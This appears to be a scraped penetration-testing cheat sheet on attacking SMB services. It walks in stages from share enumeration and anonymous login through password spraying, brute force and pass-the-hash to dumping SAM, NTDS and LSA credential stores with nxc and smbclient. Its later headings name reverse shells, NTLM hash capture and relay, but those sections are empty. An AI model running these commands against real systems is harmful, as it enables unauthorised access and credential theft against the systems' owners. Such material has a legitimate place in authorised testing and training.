139 , 445 SMB

Nmap Enumeration

nmap --script=smb-* -p 445 10.10.10.10 -o smb-enum.txt
nmap --script=smb-enum-shares.nse -p 445 10.10.10.10 -o smb-enum.txt
chevron-rightStage 0 - No Credentials [Listing shares]hashtag
nxc smb <target_ip> --shares

nxc smb --list-shares -t 10.10.11.11

nxc smb <target_ip> -u '' -p '' --shares
smbmap -H 10.10.10.10
smbclient -L 10.10.10.10

smbclient -L //10.10.10.10 -N
chevron-rightStage 1 - No Credentials [Checking Anonymous / Guest Login possible]hashtag
nxc smb 10.10.10.248 -u 'anonymous' -p ''

nxc smb <target_ip> -u 'guest' -p ''
smbmap -u guest -H 10.10.10.192
chevron-rightStage 2 - Credentials Enumerationhashtag

User Enumeration

nxc smb $ip -u '' -p '' --users

Password enumeration

nxc smb $ip -u username -p pass.txt --continue-on-success

Password Spray

nxc smb $ip -u users.txt -p NewIntelligenceCorpUser9876 --continue-on-success

Brute Force

nxc smb 10.10.10.248 -u users.txt -p pass.txt --continue-on-success

#For HASH
nxc smb 10.10.10.248 -u users.txt -H hashes.txt --continue-on-success
chevron-rightStage 3 - Authenticationhashtag

Basic Auth (no password)

smbclient -N //10.10.10.123/Development

Basic Auth

smbclient //<IP_Address>/<Share_Name> -U <Username>
smbclient //10.10.10.123/Development
# or
smbclient '\\\\10.10.10.123\\Department shares'

Domain Auth

smbclient //192.168.112.173/Apps -U laser.com/eric.wallows%EricLikesRunning800
nxc smb --domain finance.corp --user john.doe --password P@ssw0rd123 -t 192.168.1.10

kerberos Login

smbclient -k //<IP_Address>/<Share_Name>

Using NTLM Hash [also known as PTH = pass-the-hash]

nxc smb <target_ip> -u <username> --hashes <LM:NT>
chevron-rightStage 4 - SMB Enumeration [Read ACCESS]hashtag

Download files

smb: \> RECURSE ON
smb: \> PROMPT OFF
smb: \> mget *

Enumerate Logged-on-Users

nxc smb <target_ip> -u <username> -p <password> --loggedon-users

GPP Passwords

nxc smb <target_ip> -u <username> -p <password> --gpp

Dump hashes

nxc smb <target_ip> -u <username> -p <password> --sam
nxc smb <target_ip> -u <username> -p <password> --ntds
nxc smb <target_ip> -u <username> -p <password> --lsa
chevron-rightStage 5 - SMB File Upload [Read & Write ACCESS]hashtag
  1. web shell / Reverse Shell

  1. NTLM Hash Capture - [Phishing]

Try capturing NTLM hash by uploading SCF / URL / LNK files

  • URL file

  • SCF file

  • LNK file


chevron-rightNTLM Relay Atttackhashtag

In order to perform this attack, the victim must visit the SMB directory only then we are able to capture the hash.

  1. create file ip.txt including all the ip's

  2. check smb signing = false

  1. Put all the ip's (or even single ip) in targets.txt and run below command

  1. When user visit the SMB directory, we will get the hash.


Direct Execute commands


chevron-rightNT_STATUS_PASSWORD_MUST_CHANGEhashtag

if found password , but gives this error then we must change the password

or

Last updated